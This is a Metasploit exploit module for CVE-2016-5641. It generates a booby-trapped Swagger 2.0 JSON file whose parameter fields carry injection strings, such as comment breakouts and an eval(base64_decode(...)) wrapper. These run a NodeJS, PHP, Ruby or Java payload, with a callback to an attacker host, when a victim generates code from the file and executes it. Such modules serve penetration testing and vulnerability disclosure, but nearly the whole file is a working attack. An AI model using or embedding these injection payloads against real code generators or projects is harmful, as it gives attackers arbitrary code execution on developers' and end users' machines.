Files
metasploit-gs/modules/exploits/multi/fileformat/swagger_param_inject.rb
T
2016-06-23 15:40:16 -07:00

172 lines
6.3 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#
# Gems
#
require 'base64'
#
# Project
#
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'JSON Swagger CodeGen Parameter Injector',
'Description' => %q{
This module generates a Open API Specification 2.0 (Swagger) compliant json
document that includes payload insertion points in parameters.
In order for the payload to be executed, an attacker must convince someone to
generate code from a specially modified swagger.json file within a vulnerable swagger-codgen
appliance/container/api/service, and then to execute that generated code (or include it into
software which will later be executed by another victim). By doing so, an attacker can execute
arbitrary code as the victim user. (The same vulnerability exists in the YAML format)
},
'License' => MSF_LICENSE,
'Author' =>
[
'ethersnowman <scott_davis@rapid7.com>'
],
'References' =>
[
[ 'URL', 'http://github.com/swagger-api/swagger-codegen' ],
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ]
],
'Platform' => %w{ nodejs php java ruby },
'Arch' => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ],
'Targets' => [
['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ],
['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ],
['Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA } ],
['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ]
],
'DisclosureDate' => 'Jun 23 2016',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']),
OptAddress.new('LHOST', [true, 'Server IP or hostname that the swagger codegen will callback to.']),
OptPort.new('LPORT', [true, 'Server port.']),
OptString.new('PAYLOAD_PREFIX', [false, 'Payload Injection prefix', '']),
OptString.new('PAYLOAD_SUFFIX', [false, 'Payload Injection suffix', '']),
OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']),
OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']),
OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']),
OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]),
OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']),
OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']),
OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']),
OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']),
OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']),
OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F'])
], self.class)
end
def swagger
%Q(
{
"swagger": "2.0",
"info": {
"description": "#{datastore['INFO_DESCRIPTION']}",
"version": "#{datastore['INFO_VERSION']}",
"title": "#{datastore['INFO_TITLE']}"
},
"schemes": [
"#{datastore['SWAGGER_SCHEME']}"
],
"host": "#{datastore['SWAGGER_HOST']}",
"basePath": "#{datastore['BASE_PATH']}",
"produces": [
"application/json"
],
"consumes": [
"application/json"
],
"paths": {
"#{datastore['PATH']}": {
"get": {
"description": "#{datastore['PATH_DESCRIPTION']}",
"responses": {
"200": {
"description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}",
"schema": {
"$ref": "#/definitions/d"
}
}
}
}
}
},
"definitions": {
"d": {
"type": "object",
"description": "#{datastore['DEFINITION_DESCRIPTION']}",
"properties": {
"id": {
"type": "integer",
"format": "int64"
}
}
}
}
}
)
end
def exploit
if datastore['PAYLOAD']
case payload.arch[0]
when 'nodejs'
payload_loc = 'PATH'
payload_prefix = "/a');};};return exports;}));"
payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('"
wrapped_payload = payload_prefix +
payload.encoded +
payload_suffix
datastore[payload_loc] = wrapped_payload.gsub(/"/, '\\"')
when 'php'
payload_loc = 'INFO_DESCRIPTION'
payload_prefix = "*/ namespace foobar; eval(base64_decode('"
payload_suffix = "')); /*"
wrapped_payload = payload_prefix +
Base64.strict_encode64(payload.encoded) +
payload_suffix
datastore[payload_loc] = wrapped_payload
when 'ruby'
payload_loc = 'INFO_TITLE'
payload_prefix = "=end "
payload_suffix = "=begin "
wrapped_payload = payload_prefix +
payload.encoded +
payload_suffix
datastore[payload_loc] = wrapped_payload
when 'java'
payload_loc = 'PATH'
payload_prefix = %q{a\\\"; "}
p = payload.encoded.gsub(/<%@page import="/, 'import ')
p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
wrapped_payload = datastore['PAYLOAD_PREFIX'] + p
datastore[payload_loc] = wrapped_payload
end
else
print_error("No payload defined!")
end
print_status swagger
file_create swagger
end
end